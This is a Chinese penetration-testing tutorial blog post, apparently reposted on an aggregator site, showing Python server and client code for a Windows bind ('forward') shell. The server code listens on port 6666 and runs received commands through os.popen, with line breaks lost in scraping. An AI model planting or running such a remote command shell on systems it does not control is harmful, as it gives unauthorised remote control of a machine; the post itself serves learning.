windows下的正向shell
生活随笔
收集整理的這篇文章主要介紹了
windows下的正向shell
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
學習滲透怎么能不會shell呢,今天和明天的學習內容就是正向shell和反彈shell啦~~
shell:在計算機科學中,Shell俗稱殼(用來區別于核),是指“為使用者提供操作界面”的軟件(命令解析器)。它類似于DOS下的command.com和后來的cmd.exe。它接收用戶命令,然后調用相應的應用程序。(ps:這個是百度百科的解釋啦~~~)
當客戶端攻擊服務器端時,此時服務器端IP地址已知,所以可以使用正向shell
在這里分別寫服務器端代碼和客戶端代碼;注:每次運行時要先開服務器端
服務器端(被攻擊,導入模塊:import os;import socket)
基本步驟:
1、創建套接字
2、進行綁定(ip:允許連接的ip,服務器端端口)
s.bind(("0.0.0.0",6666))3、允許連入的主機數
s.listen()4、創建接口與連入的主機地址
con,addr=s.accept()具體代碼:
#正向shell 服務器端(win7)被攻擊的才導入os模塊 每次先開的應為服務器端import socket import oss=socket.socket() #允許連入的ip,和自己的端口 s.bind(("0.0.0.0",6666)) #一次允許連入的主機數 s.listen(5) con,addr=s.accept() print(addr)for i in range(3):cmd=con.recv(1024).decode()print("收到第%d條命令:"%(i+1),cmd)#os.popen返回值為執行過程中的輸出內容result=os.popen(cmd).read()if result:con.send(result.encode())#對目錄操作需要進行特殊處理else:if cmd[:2] == 'cd':os.chdir(cmd[2:].strip())con.send(b'OK!') con.close()客戶端(攻擊者,導入模塊:import socket)
基本步驟:
1、創建套接字,連接服務器(ip:服務器端,端口:服務器端)
2、收發數據
s.send(cmd.encode()) result=s.recv(65536)3、關閉套接字
s.close()具體代碼:
import sockets=socket.socket() s.connect(('127.0.0.1',6666)) for i in range(3):cmd=input("第%d條命令:"%(i+1))s.send(cmd.encode())result=s.recv(65536)print(result.decode()) s.close()實現效果圖:
客戶端:
服務器端:
enen~~就醬紫,下一篇反彈shell
總結
以上是生活随笔為你收集整理的windows下的正向shell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python---json模块
- 下一篇: Windows下的反弹shell